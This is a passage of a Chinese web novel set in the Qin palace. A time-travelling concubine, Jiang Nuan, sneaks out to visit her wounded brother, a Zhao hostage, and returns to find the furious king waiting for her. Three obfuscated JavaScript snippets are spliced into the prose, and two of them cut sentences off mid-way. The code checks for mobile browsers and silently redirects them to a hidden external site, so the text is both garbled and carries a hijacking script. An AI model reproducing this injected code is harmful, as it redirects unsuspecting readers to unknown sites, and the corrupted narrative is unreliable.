最初的冲动慢慢褪去,她开始有点犹豫不决了。这个计划既可以说天衣无缝,又处处充满漏洞。 说白了,就是看运气。若是一天都无人找她(一般情况下是这样的),则不会留下任何破绽,但万一有谁心血来潮非要见她,就有点不好说了。 她赌的就是这份运气。系统说她运气比较好,而她又实在太担心弟弟,最终还是决定莽一把试试,毕竟成功的概率是大头。 除了秦王,她想不出有谁会想见她,而明日一早,秦王就已经出发了,他碍不到她的。 秋穗这时出来给她送了一盘橘子,还体贴地给她打起了扇子。 姜暖吃了两瓣橘子,被小凉风一吹,觉得莫名惬意,短暂地生出了留在这里做贵妇人其实也挺不错的想法。 忽然,她想到了一件事,眼皮一抬,瞅着脸蛋像苹果一样的秋穗问道: “上次我问你,太后如此不喜我,又是怎么同意王上娶我的,你支支吾吾不肯说,现在总该说了吧。” 秋穗手中扇子一顿,苹果脸一下子熟透了,有点想落荒而逃的意思。 姜暖一把扯住她的手臂,满脸威胁:“快说呀,我都已经侍过寝了,还有什么难以启齿的啊?” 秋穗小动物似的咕哝了两声,放弃了挣扎,半晌磕巴出一句回答: “虽然有华阳太后助力,但赵太后和相邦也都各有人选,甚至那些公主已经入秦了,马上就要设宴招待。一旦宴席设下,即便不娶为正妻,也会封个夫人、美人什么的,华阳太后急了,将您逼得紧了些,您整日愁容满面,最终不得不舍弃尊严,就、就……” 她又卡壳了,脸蛋肉眼可见地发着烫。 “那日您受王上召见,为他唱了曲儿后,就褪下全部衣裳,只穿着一件轻薄纱衣,跪在他面前哭着求他宠幸……王上那时也是血气方刚,那夜便没让您离开章台宫——” “因为您未婚先得宠,赵太后也不得不同意王上娶您。王上答应不会立你为后,太后也就不再强求了,送走了那些公主。” 竟然是这么一回事,怪不得那天晚上他会那样说,还让她穿上那样的衣服…… 姜暖听得心肝一阵轻颤,颧骨上洇起淡淡绯红。她松开秋穗,缓缓垂下睫毛,心中翻滚着很多激烈又无用的情绪。 良久,她重重咬了咬唇,强压下纷杂情绪,呼地一下站起来,手一扬,对着犹在羞赧的秋穗吩咐道: “好了,我知道了,这事以后我不会再提了。你现在去小厨房,再弄几块山楂糕,晚上我要去章台宫。” 秋穗得令,小鸡般点点头,飞一样逃走了。 姜暖摊开手掌,接了几瓣飘落的梨花,心里其实并不大愿意在今夜与他相见。 毕竟她刚刚得知了那样一段香艳又难堪的过往,总觉得有点没脸见他,可却又不得不见。 人家是你的夫君,明日便要离开一段时间,于情于理也应该求见一番表个态,至于见不见,那就是他的事了。 而且,有了前几日的情感基础,她更要积极主动去巩固,而不能一味地逃躲。 她不断地在心里罗列堆叠各种理由,看似是在敦促行动,实则是欲掩饰内心深处隐隐若现的另一个念头。 她本人,其实是有点儿想见到他的。 听听他磁沉的声音,看看他雕刻般俊美的面容,兴许还能触碰一下他滚滚烫的肌肤…… 她被自己的恋爱脑吓到了,连忙提着裙摆,匆匆跑回卧房,一头栽进了床幔里。 疯了,疯了,真是疯了。她使劲拍打了几下床板,激荡起细小的灰尘在身边光柱中浮游。 夜幕降临时,她提着食盒,去了章台宫。今晚值夜的是赵高,姜暖想了想,从袖子里掏出一只簪子,递给了他。 这个男人,此刻看上去年轻而无害,毕恭毕敬,却是最终害死扶苏、葬送大秦的罪魁祸首,可她此刻又不得不主动巴结,毕竟他能力极强,也极了解秦王,也许在未来的某个时候,能帮她说上话。 赵高看着簪子,秀气的眉头微皱,眼睛却始终没有移开。 他在犹豫,想来秦宫不像电视剧里的清宫,贿赂之事已成习俗,他不确定自己能不能收下,但那簪子,金镶美玉,价值不菲,他心动了。 “你收下吧,这是我的一点心意。你平日照顾王上颇为上心,这我都清楚。”姜暖云淡风轻地说。 赵高略想了想,欣然接下,冲姜暖行了一礼,而后便亲自进去通报。 几乎是眨眼的工夫,她就被引入了西偏殿,秦王一贯加班办公的地点。 她提着食盒走上前,长袖拢起,躬身拜礼,软糯地唤了声:“王上。” 秦王从手中书简上撩起眼皮,扫了她一眼,看不出情绪,但嘴角是有一点翘起的,想必至少不反感她的到来。 “过来吧。”他剑眉一抬,轻飘飘道了句,“到寡人身边坐。” 姜暖像个得了军令的小卒,连忙提起食盒,小碎步往前走,走到他身边轻巧坐下,带来一股妖娆清媚的兰花香。 “明日一早便要出发,王上今日还是早些歇息吧。”她脑中回想着电视剧中的桥段,嗓音甜甜的,“妾做了些山楂糕,散淤化浊,增长胃口,您尝尝?” 秦王怀疑似的瞟了她一眼,姜暖当作没看见,依旧笑颜如花地打开食盒,将切成小块的山楂糕端了出来。 “你还会做这个?” “妾小的时候,家里有个厨娘会做,原本已经淡忘了方法,不想一朝醒来,竟一下子想了起来。” 姜暖垂着眼皮扯谎道,脑中不断闪现自己的鼻子像匹诺曹一样忽长忽短的样子。 “呵,你倒是挺会忘。” 秦王语气揶揄,像是并没有留意到她的谎话连篇,抬手正要去拿一块尝尝,姜暖急忙凑前,抢先一步拿起了一块,送到他唇边。 “妾来喂您。”她笑得齁甜,唇边两朵梨涡隐现。 秦王微微一愣,眯起眼睛认真看了她一瞬,姜暖顿时紧张起来,面上的表情有些快要绷不住了。 她这扮演妖妃的演技,到底行不行呢?她心底也很忐忑。 然而秦王却露出了一副受用的神情,慢慢张开樱色薄唇,咬住了她手中糕点。 姜暖感到自己的指尖都在哆嗦,幸好秦王牙口和胃口都极好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254114|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快吃下了一整块。 “还不错。”他一边嚼着,一边以高高在上的语气品评道。 这样一句夸赞,简直比象牙还珍贵,姜暖连忙又喂了他一块,态度殷勤恭顺。 “你们楚人,就是爱在这些花里胡哨不实用的东西上费心思。”满意地咀嚼之余,他又颇有所感地补充品评了一句。 姜暖探向第三块山楂糕的手指停住,嘴角僵硬地向外咧了咧。 果然狗嘴里吐不出象牙,是自己高兴早了。 妥妥的TJ人,姜暖真心觉得合不太来…… 然而脸上的笑意还要继续铺展,不要钱似的。 或许是她笑得太卖力,失了真,秦王又盯了她半晌,然后拿手指在她饱满丰润的脸颊上,轻轻掐了一把。 姜暖吃痛,抬手去扒拉他的手臂,他却忽地松开了手指,在惯性的作用下她往前栽倒,手指按上他宽阔的胸膛,一绺乌黑长发,柔柔攀上了他衣襟领口。 她连忙缩手往后躲,小心翼翼的。那绺长发自他肩膀缓缓滑落,贴回到她雪白颈间。 她按捺住骤然狂乱的心跳,偷偷抬眼看去,却见他唇角衔着淡淡笑意,眼眸深处是某种浓重而深刻的缱绻情绪。 她被烫了一下,忽然有些后悔今晚过来了。 那种感觉,就好像主动招惹了不该招惹的东西。 她怕自己会承受不来…… 修长如玉的手指捏起一块糕点,接着下巴被轻轻扳过来,他将山楂糕送到她唇畔。 “张嘴。”他嗓音罕见的轻柔,却是不容辩驳。 姜暖此时既如临大敌,又受宠若惊,睫毛簌簌眨了眨,头脑一片空白地乖乖张开红润唇瓣,将糕点一点点含咬住。 试问世界上有几人,能享受如此待遇? 她脑子越发滚烫不清,在他灼灼的注视下,小口小口吞下整块手指长的山楂糕。 他满意地松开她的下巴,手指屈起来在她面颊上刮了刮,动作透着丝宠溺。 姜暖手指在袖子里使劲攥了攥,避免自己沉浸在不应该的情愫里。 “王上明日几时走啊?”她没话找话道。 “怎么,这么盼着寡人走啊?”他侧眸瞄了她两眼,别有深意道了句,手又重新拾起先前那卷竹简。 姜暖赶紧使劲摇头,耳珰哗哗啦啦:“妾、妾是想送送王上——” “那倒不必,倒添乱。”他毫不温柔地说道,眼睛落回在书简上。 接下来,姜暖被迫坐在案边,当了一个多时辰的吉祥物,为他垂了肩膀,磨了整根墨条,手还几度被他当成暖宝宝,搁在手心里又捏又揉,临近亥时,才被他袖子一扬给轰走了。 看来今夜不需要她侍寝,她悄悄松了口气,为秦王的肾感到欣慰。 明日他一出宫,她便可以展开计划了。 她都想好了,扶苏白天去学堂,晚上让冬岚带他去太妃那儿玩一阵。约莫到傍晚,她再回来,与阿傩完成交换,之后再多留她一个时辰,假装是唤她进来教自己学胡琴,最后再自然而然地让她离开。 不出意外的话,一切都挺天衣无缝的。 她摸着下巴,地点了点头。 24.刺客 计划进行得十分顺利。 出宫时因为化了妆、换了衣裳,没人将她认出来;在宫外,也按照阿傩的说法,往前直行小半个时辰,然后很快便遇到了可以租用的马车。 她给了车夫足够多的钱,报了弟弟的住址,车夫笃定说没问题,结果颠颠簸簸好半天,把她屁股都要颠碎了,一下车竟发现不对劲。 她要去的是客寓,车夫却将她带到了一处酒肆门口。 长长的路边满是商铺,热闹繁华,琳琅满目。行人几乎摩肩擦踵,挑拣着自家需要的物件、材料,到处是一派生机勃勃景象,即便被绕错了路,姜暖也暂时按下暴躁,扭着脖子四处张望良久,像个好奇的土包子。 车夫并不是有意的,弟弟所住的客寓与眼前酒肆同名。 姜暖撅着嘴嘟囔了几句,下意识跟车夫讨价还价一番,最后车夫同意继续将她送到正确地点,不再额外要钱,但要姜暖给他买一壶酒。 姜暖这才意识到,自己现在可是有钱的主。她阔绰地掏出一串钱,让他买了酒,还让他沿路介绍介绍,假装自己是从楚国初来乍到的外乡人。 车夫得了钱,高兴得合不拢嘴,一路上滔滔不绝,让姜暖对大半个咸阳城都有了些了解。 她一边听,一边将车窗拉开一条缝。 秦国的街道比她想象中更加宽敞井然,也富庶许多,秦人看上去都很勤劳,踏着上午的阳光行色匆匆。 就是少了点浪漫情调,有种不近人情的务实感,跟秦王身上的某种特质极其相似。姜暖甚至还用了十几分钟,来分析到底是这样的王造就了这样的国家,还是这样的国家熏染出了这样的王。 拐过几条石板小路,马车缓缓减速,最后停下。 车夫撩起帘子,告诉她到了,这回保准。 姜暖按着帽子,小心翼翼下车,西风吹得帽檐下纱幔向里凹陷,她手挑起纱幔一角,朝匾额望了一眼,艳媚的容颜宛若惊鸿一现。 她重新放下薄纱,深吸一口气,朝客寓里走去。 这家客寓很大,几乎能装进去一座规模不小的体育场。一层和前厅是吃饭、喝酒、闲谈的地方,这点与现代毫无差别,她看见不少人三三两两坐一桌,一边聊天一边吃喝。 其中不少人操着外乡口音,想必此处主要接纳他国来客,而且还都是有钱的主,衣着光鲜、出手大方,身上玉佩环珏叮铃当当。 然而,全是男人。因此,姜暖的突然出现,就引来了极大的关注,更别提她身段极其婀娜,该丰的地方丰,该细的地方不盈一握,即便穿着曲裾也妖娆毕露,很难不令人浮想联翩。 她蓦地有些慌了。 在现代社会生活久了,她对古代缺乏敏感度,此刻有点后悔没雇刚才的车夫继续陪着她。 不过秦汉还是很开放的,大家对她惊讶只是因为很少有女人出现在客寓,有也是舞姬或娼妓,而她看上去,显然不是。 她又深吸一口气,竭力无视粘在身上的诸多目光,快步走到掌柜身边,微微粗起嗓子询问有没有一个叫做赵璟的赵国公子住在这里。 “有,有。”老板是个三十多岁的男子,面相精明,有着打理精致的小胡子,“姑娘您找他?” “嗯。”姜暖简短道。 “好好,我领你过去,他住在庭院那头,你跟我来。”他说着,绕出柜面,亲自在前面带路,时不时就回头冲她和善一笑,小胡子跟着一翘一翘的。 过于殷勤,就很可疑。 “姑娘您认识公子璟?莫非……您也是赵人?”明显的试探语气。 姜暖从纱幔后瞄他一眼,秃噜出一串东北口音,窃笑着反问他:“您看我像哪里来的?” 老板整个愣住,这口音显然他并没有听过。他的店里天南海北住了很多人,他也对各种口音了如指掌,姜暖这种,他是真头一次听,一时间竟愣了神。 等到他回神想要继续刺探时,已然有些来不及了,赵璟的房间就在前方,他讪讪地在门上敲了敲,半天没人应答。 “奇怪了,今天没出去啊?”他自言自语。 “你店里住了这么多人,谁出没出去你都了如指掌吗?”姜暖忽然警觉起来。 老板没把她语气中的警觉当回事,笑了笑:“人家这不是赵国的公子么,是质子,我不得给人家照顾好了?万一他出点什么事,我可吃罪不起。” 倒也是这个理。姜暖也不胡思乱想了,从老板的话中至少可以得知,弟弟还活着。 “应该没走远,可能在后面那片柳树林里,那些公子哥没事就爱坐湖边看书、下棋,要不我带您去?” “不劳烦了,我就在这儿等他。”姜暖掏出一枚钱币,放在老板手心里,小心避免肢体接触。 到底是商人,见钱眼开,笑呵呵离开了,期间又回头张望了几次,等他彻底消失在视野里,姜暖才转过身,在门板上轻轻推了推。 嘎吱一声,门开了,竟然没上锁。 她连忙左右瞅瞅,见没人,蹑手蹑脚推门进去。 房间很大,装饰雅致,设备齐全。看起来弟弟虽然在秦宫里受尽搓磨,在宫外的生活还是很阔绰的。 至少秦国没有苛待他,抑或者,他花的是从赵国带来的钱。 她慢慢关上门,脚步轻轻往里走。厅堂里套着一个小厅堂,案几上有喝了一半的茶,见此她又松了一口气,继续朝里走。 最里面自然是卧房,几件袍子凌乱地挂在衣架上,有一件还掉在了地;一套白色的里衣,卷着几只臭袜子,乱糟糟扔在床脚,似乎是今早换下来的。 手法确实是他的。就在姜暖倍感欣慰的时候,身后忽然有一道阴影漫了过来,从后面扑向她。 与此同时,传来了利剑出鞘的刺啦声。 姜暖吓得哇哇直叫,头都没敢回,抱着脑袋缩着脖子就往旁边躲,一不小心撞翻了地上水缸,哗啦一声,一缸的水都泼在了她裙摆,鞋袜也瞬间被浸透。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268401|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她脚底打滑地继续抱着脑袋逃窜。忽然,身后动静骤停,仿佛一瞬间行凶之人蒸发了。 她扑到一处屏风旁,战战兢兢扭头回看,却见一截剑尖,在瞳孔中放大、逼近,朝她直刺而来。 她不及躲闪,本能地闭上眼睛,以为自己死定了。然而下一秒,她只感觉面前一轻,想象中的刺痛并未发生。 她睁开眼睛,看见一个脸颊瘦削、眸中杀气腾腾的男子,正以剑尖挑起她的面纱,剑尖距离她鼻尖,仅一个喷嚏的距离。 她登时抖如筛糠,刚想哆嗦着说点“壮士请手下留情,绕我一命”之类的话,男子却倏地收回了长剑,脸上露出难以置信的震惊表情。 接着,他踉跄着后退两步,眼睛仍难以置信地紧盯着她。 “您……怎么会在这里?”他喃喃道,困惑地把眼睛眯起来,将她又打量了一遍。 姜暖只觉得他声音无比耳熟,一定在哪里听过,可脸却是全然陌生的,绝对没有见到过。 况且他那样的样貌,但凡见过一次,肯定不会忘。 男子迅速收刀入鞘,像只敏捷的豹子,飞身闪出门外,转瞬就不见了踪影。 姜暖惊魂未定,连忙往回廊里跑,在拐弯处,与一肩膀宽阔的高个子男子撞了个满怀。 “姐?”头顶传下来弟弟的声音。 姜暖抬起头,对上他英俊年轻的面容,眼泪哗哗落下,一头扎进他怀里。 “呜呜呜,太好了,你还活着——都给我急死了,我还以为你出事死掉了呢?”她重重锤了下他的肩膀,哭得梨花带雨。 赵璟(姜承霄)嘶了一声,肩膀抽搐了一下,姜暖连忙从他怀中出来,只见他呲牙咧嘴捂着肩膀,面色苍白。 “要死也是被你一掌拍死的。”他眉毛耸动,有点痛苦地说,“我前两天肩膀刚被刺了一剑,就在你拍的位置,本来都快好了……” 姜暖捂住嘴巴,发出一声小老鼠似的惊叫:“对、对不起,我不知道……” “逗你呢。”赵璟苦笑一声,故作轻松道,只是他似乎真的痛极了,故作轻松反而看着更痛苦。 姜暖心里盈满愧疚,更加眼泪汪汪了。赵璟警觉地四处看看,一把扯住住她手腕,将她拉入房中,从里面锁上房门。 “啊,这里面不安全,刚才就有刺客袭击我——” “我知道。没事,不是敌人。”他伏在门板上,屏息听了听外面的动静。 门外静悄悄,他面色和缓了一些,转过身,开始脱身上的衣服,露出缠着绷带的右肩和右胸。 绷带上有淡淡血渍洇出来,姜暖心疼地抿紧嘴巴,又说了声“对不起”。 “没啥大事,别没完没了的了。一会儿你帮我重新敷一次药,再过几天应该就差不多好了——诶?姐,你咋从王宫里出来了?啊,不是,你怎么出来的?” 赵璟一脸后知后觉的震撼,瞪大眼珠望着她,脸上神情像是见到了什么不可名状之物。 25.逮个正着 “再敷一层。” 赵璟努努下巴,示意姜暖将药膏涂厚点。 姜暖只好用指尖又挖出一块腥味很重的褐绿色膏体,细细在他肩膀下方涂抹。 他这具身体远比先前精壮,许是战国时代人人尚武的缘故,不过—— 还比不上秦王。 尤其是锁骨连接着喉咙口那里…… 她脸颊飞起两团可疑的红晕,动作微妙地扭捏起来。 赵璟怀疑地瞅她一眼,但很快就被酒精消杀般的撕痛转移了注意力。 “刺杀你的人,你知道是谁吗?”姜暖开口问道,俯身在药膏上轻吹了吹,加速它凝固。 “是赵王。”云淡风轻的回答。 姜暖一愣:“他不是你兄长吗?为何要杀你?” “姐,你平时也没少看古装电视剧,里面兄弟厮杀,甚至父子相残还少吗?现实只会更加魔幻残酷。”他抬起手臂,方便她缠绕绷带,“确实是赵王派的人,这一点是在咸阳的密探告诉我的。” 姜暖动作又是一滞,柳眉微拢:“密探?”接着很快想起,这个时期各国探子、间人空前活跃,其中投放密度最大、效率最高的当属秦国,连赵相、齐王都被渗透了,便“哦”了一声。 “那个密探靠谱吗?”她又问。 在她的理解中,密探应该也大有小,并形成网络,只有最顶尖的人才会知道所有信息。 “绝对靠谱,他是李牧的人,换言之,也是公子嘉的人。” 武安君李牧,声名赫赫无一败绩的千古名将,看来确实是极靠谱的。 “那赵王为何要刺杀你呢?你在秦国为质,难道不有利于他吗?”姜暖对政治不是很了解。 莫非,与秦王前些天说的“联楚攻赵”有关? 然而怎么分析,似乎都扯不上关系,它们完全是两条平行直线。 “前段时间,赵王废了公子嘉的太子之位,立倡女为后,立其子赵迁为新太子,朝野上下无人不反对,只有郭开鼎力支持。 然赵王性格强硬,丝毫不肯收回诏令。这样,就有一些人站出来,他们认为兄长太过荒唐,提出拥戴我为新王,毕竟我先前也曾经被父王当成继承人考虑过。兄长得知后大怒,处置了一批人,而后派来刺客,想要杀我永绝后患。只是——” 他顿了顿,这会儿姜暖已经把绷带缠好了,缠得挺结实,就是丑了点、厚实了点,穿上衣服后肩膀上像长了块大囊肿。 赵璟无奈轻叹,一边慢慢整理衣襟,一边继续道: “只是来杀我的那人,运气十分不好。他提剑朝我刺来时,门口恰好响起敲门声,让他稍稍分了神。我趁机一躲,剑便刺歪了,只刺中我右肩,而后我拼命朝门口高喊‘救命’,下一刻,外面那人就一脚踹门进来。他很瘦,一身剑客装束,拔剑冲过来与刺客搏斗,三下两下就将他斩杀了,救了我一命。” 姜暖听得目瞪口呆,脑补了一下,胸口一阵急跳,为他感到后怕。 “万一刺客不是一个呢?刚才在屋里就有人袭击我——” “想必就是那个救了我的剑客。那日我万分感激他,得知他是云游四方的侠客,便花重金雇他保护我一段时间。你冒然闯进来,他可能以为你也是来暗杀我,便动了手,后来又觉得你不像,就撤退了。嗯,他也住在这庭院中一间屋子里,我出去时他偶尔会帮我盯一会儿——其实那日他是走错了房间,阴差阳错救了我。” “哎,如此看来,你还是留在秦国安全点。”姜暖扯过一块纱布擦了擦指尖,忽然觉得脚麻,便盘腿上床,脱下鞋履和袜子,直接薅过他换下来的里衣,将湿漉漉的脚丫擦干。 方才那一缸子水,可全都招呼到她身上了,虽然只是膝盖高的矮缸,也足以让她裙摆浸透,鞋袜俱湿,脚底一片冰冷。 赵璟连忙点燃炭盆,拖过来,让她把脚丫伸在上面烤烤,自己则举着她脱下的曲裾,将裙摆部分悬在火上烤。 因为是亲姐弟,便没有那许多拘束,姜暖只穿着里衣,裤腿也褪到膝盖上,两截光滑细腻的小腿白生生地轻晃着。 “给你,衣服行了。”不多时,他将曲裾扔到床上,弯腰捡起她的鞋。鞋子不好烤,只能尽量烘干些,不至于让她走路一步三滑。 姜暖在裙摆处摸了摸,还是很潮,但也比刚才好不少。 “那你接下来,还要入宫干活吗?”她收回脚丫,往床里面缩缩,靠着墙壁心疼地问道。 “秦王得知情况,应允我先休养一段时间,反正他让我干活,也只是为了消磨我的气焰罢了,毕竟我初来乍到时,在殿内叫嚣了好一阵,也算是‘罪有应得’。” 他带着苦笑说,忽然转头认真地看着她: “姐,你等会就赶紧回去吧。姑且不说王宫里有没有人发现,单说这里就人多眼杂,你又惹眼,万一有不轨之徒造次就不好了,趁着天色暗下来之前,赶快走。” 上药前,他就已经听她绘声绘色叙述了自己是如何胆大包天、偷天换日地溜出来的,当时他都惊呆了,第一次意识到自己乖巧了一辈子的姐姐,竟是如此鲁莽。 然而人都出来了,责备也没有用,何况她还是出于对自己的关心,赵璟只是摇了摇头,哭笑不得地劝她下次在做事前,一定要三思,可别再冲动,否则几条命都不够祸害的。 姜暖心虚地点头同意了,所以这会儿他催她回去,她一点也没反驳,乖乖地就开始穿衣服。 虽然她挺想在这古香古色的客房里住上一宿,好好体验一番古代游侠生活的。 鞋子基本不滑了,但离干爽还差十万八千里,外面暮色渐渐显露,姜暖只能将就着穿。 “给我一双你的袜子。”她想了想道,这个年代,男袜女袜都长一样,唯一区别只有大小,“要干净的啊!” “哦。”赵璟在架子上捣鼓半天,翻出两只袜子,姜暖穿上,重新将脚塞进鞋履,果然不凉飕飕了。 就是材质挺粗糙,不像她宫里穿的,有种丝质般的细腻,完美贴合肌肤。 不仅是细腻,还在脚腕附近绣有好看的花纹,扔了着实有点可惜。 可她也不能揣着一双脏袜子回去,便让它湿哒哒地继续团在踏板旁,起身整理衣服和头发,戴好帽子,在弟弟的护送下,小心翼翼从后门离开。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281771|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他要来马车,送了她一大段路程,夜色已然低垂,他没办法出现在王宫附近的坊区,只好下车,给了车夫很多钱,让他安全将她送到地点。 车夫只当她是趁出宫与相好私会的宫女,并未起疑心,收了钱满口答应,也的确将她安安稳稳送到了宫门附近。 她深吸一口气,向守门侍卫出示了阿傩的照身,和出来时一样,很顺利地被放了进去。 王城巍峨雄阔,在夜幕下压迫感更加强烈。她不知怎的,忽地生出一种紧张感,还有一种惶乱感。 就好像,有只怪兽,正张开大口,在王宫的最深处等着她,想要将她一口吞掉,骨头都不剩,而她恰好又嗅到了这只怪兽的气息。 这很没有道理,除了弥漫的黑暗和影影绰绰的高大建筑外,她其实什么也没感觉到,可就是有种心里微微发毛的悚然感,仿佛有什么细思极恐的东西被不经意忽略了。 随着芷阳宫渐渐近在咫尺,这种感觉像火上浇油般倏然强烈起来,也不知道是不是错觉,她觉得今夜芷阳宫附近巡逻的卫士,好像很久都没有出现过—— 但她没空去细想,只加快速度,一溜碎步往殿门口走去。 整座宫殿出奇地安静,幸好里面有充足的灯火透出来,就像每晚一样,否则她可能都没有勇气推开门进去了。 在手指按上门板,门轴传来“吱嘎”一声的时候,她脑中有根弦蓦地紧绷了起来,在脑海深处发出“铮”的一声轰鸣。 她突然想起来,她以前在哪里,听过那个男人的声音了—— 是在刚刚苏醒的时候。 那时他是王城内巡逻队一员,曾对她的昏迷产生过质疑,并要求靠近查看,最终通过她褥子边上的褶皱判断出她已经醒了,是装睡的。 那之后没多久,她就遭遇了暗杀,险些丢掉性命。 不会错,就是他的声音。 脊背上蹿起阵阵寒意,她打了个深深的冷战,忽然很想落荒而逃。 然而门此时已经被彻底推开,她本能地迈进一只脚,同时抬起目光。 然后,她整个人就如遭雷击,僵在原处,甚至连发抖都忘了。 大殿中央的青铜屏风前,竟挺拔而凛然地端坐着一身玄袍的秦王—— 他衣冠齐整,看上去有些风尘仆仆,英俊的眉宇紧皱,薄唇绷成一道锋利的直线,正面无表情地盯着她,眼底攒动着一团黑色的、压抑的怒火。 一个人只有气极了,才会呈现出这样一副表情。 姜暖整个人都懵了,一时间几乎以为自己是在做梦。 秦王,不是走了吗? 她茫然地环顾四周,才注意到殿内除了秦王,竟一个人也没有,继而才反应过来,秦王是真实的,他不知为何杀了回来,而自己,也被他当场抓了个现行…… 恐惧与惶然后知后觉涌遍全身,将她淹没。她红唇微微张了张,想说点什么,却颤抖得发不出声音,下一刻,身体再也承受不住,无声向后跌坐。 完了。 她脑海里,就只空洞地回荡着这两个字,带着无比森然的寒意,将她的骨髓一寸寸冻结成冰。 26.连累 秦王自案后缓缓起身,腰间剑鞘与案几磕碰出一声脆响,在空旷殿内泠泠回荡。 姜暖吓得又是一哆嗦。 她手撑着身后门槛,试图将自己撑起来,然而身体实在太过绵软无力,好不容易撑起来一点,又因为余光瞥见秦王背负着双手,散发极大压迫感朝自己步步走来,顿时悚然,又重重跌坐回去。 “芈蓉,你——做什么去了?” 他忽然开口问道,声音暗哑中透着股诡异的温柔,继续以极缓慢的步伐向门口逼近。 每一步都仿佛踏在了她心口之上,令她感到一种类似凌迟的痛苦。 “王、王上——”她眼眶微红,颤声唤道,知晓自己这次是真的百口莫辩了。 她出宫这件事,他肯定已经了然,她不知道他为何突然折返回来,但直觉告诉她,多半是与她有关。 是有人告密,还是说—— 她脑中一团乱麻,根本无法择出一条清晰的脉络,让她能够顺着为自己稍稍辩解一下。 地上他浓郁的黑色影子渐渐漫过来,漫上她凌乱铺开的裙裾。她低垂着的眼眸,已经捕捉到了他黑色袍服的一角。 他就近在咫尺,身上的气息凌冽、浓烈,网一样牢牢将她笼罩。 这种居高临下的对峙,让她更加恐惧,更加绝望,仿佛她已经失去了任何反抗与挣扎的余地,只能任他宰割。 她不喜欢,或者说很害怕这样的画面。 她忍住剧烈翻涌的畏惧,使劲咬住唇瓣,搜刮起全身的勇气,手攀住身后门框,在他面前一点点将身体撑了起来,摇摇晃晃靠在门板上,红唇溢出轻轻喘息。 “妾、妾是因为在宫里……呆着实在烦闷,便趁着王上您不在,偷偷溜出去逛一逛……”在攒起的勇气散尽前,她磕磕巴巴回答道,额头很烫,脑子里也很烫,像有一锅粥在沸腾冒泡。 明显且弱智的谎言,但又不得不说,因为只有它算是勉强能够说出口的。 毕竟,她无论如何也不能把弟弟给供出来。 秦王的夫人,偷偷溜出宫与赵国质子相见,还在同一房间亲密相处几个时辰,这种事情怕是连司马迁都会觉得毁三观,继而兴致勃勃在《史记》上落下一笔。 “是吗?”他已经走到她跟前,近到呼吸相挨,衣角相缠,“都到这时候了,你竟还在说谎,莫非是——想要包庇什么人?” 他的语气循循善诱,脸色却越发阴鸷沉晦,牢牢盯住她慌乱的脸孔,嘴角因为压抑着狂怒,不时轻轻抽动,连带着腮边肌肉也凸鼓出几道瘦削锋利的线条。 他整个人此刻看上去就像是一柄利刃,随时可能将她开膛破肚。 姜暖心底像有什么东西重重砸落。 他为何这样问?难道、难道,他已经知道她出去见谁了? 完了。完了。完了。 “妾……妾……”她努力抬起眼睛,樱唇几度开合,却始终无法说出任何回答。 有那么一瞬间,她都想跪倒在他脚下,坦白自己是穿越者,而不是他曾经的宠妾。 反正也不会有什么情况,会比现在更糟糕了。 但就在今日,话赶话聊到此处时,弟弟告诫她不要轻易暴露身份,至少现在还不是时机。 “姐,秦王尚未亲政,大权不在手,你说他有心思关注穿越者的先进思想与技术吗?不把咱们拖出去五马分尸都算客气了。你现在最能仰赖的,就是长公子阿母的身份,以及秦王排除万难也要坚持娶到手的那份宠爱,姑且就先顺着他的心意好吃好喝地苟着吧。” 如此一来,最后的路也被堵死了。 她到底要如何回答,才能化解这场近乎无解的危机呢? 见她久久不肯回答,他的目光变得沉重锐利,压覆在她低垂的眼皮上,怒火似乎已经具象化,一寸寸灼烧着她的肌肤。 她被烧疼了,往后瑟缩了一下,后背抵上微微敞开的门板。 她的这一举动,却令他更加恼怒。 他倾身朝她逼近,几乎将她压在了门板上,她手指死死扣着上面的小木格,侧过脸来躲避他炽热又愤怒的凝视。 他俯下面来,抬手粗暴地扳过她脸颊,迫使她水光涟涟的眸子与他对视。 “先前有人告诉寡人,你三番五次询问有关他的事,寡人都没有在意,但寡人是怎么也没有想到,你竟胆大到溜出宫与他私会?就这么迫不及待吗?” 果然他什么都知道了……姜暖的心往下坠去。 “做出这样的事,芈蓉,你想让寡人如何惩罚你啊?”他盯着她眼睛,几乎是恶狠狠地质问道,“不过寡人实在很好奇,你是何时跟他搞到一块去的?” 他手掌很大,力气也很大,两颊柔软细嫩的肌肤被他捏出道道红痕,红晕一直蔓延到脖颈,火烧火燎地痛。 “回答寡人!”他低吼道,手指骤然收紧,疼得她忍不住啜泣出声。 好可怕。果然这才是他的而本来面目吗? 昨夜互相喂食的亲昵,和那两日肌骨的缠绵交融,倏忽之间变得像一场遥远的梦,一旦发生了事情,他还是可以轻而易举将她打碎,拼也拼不起来。 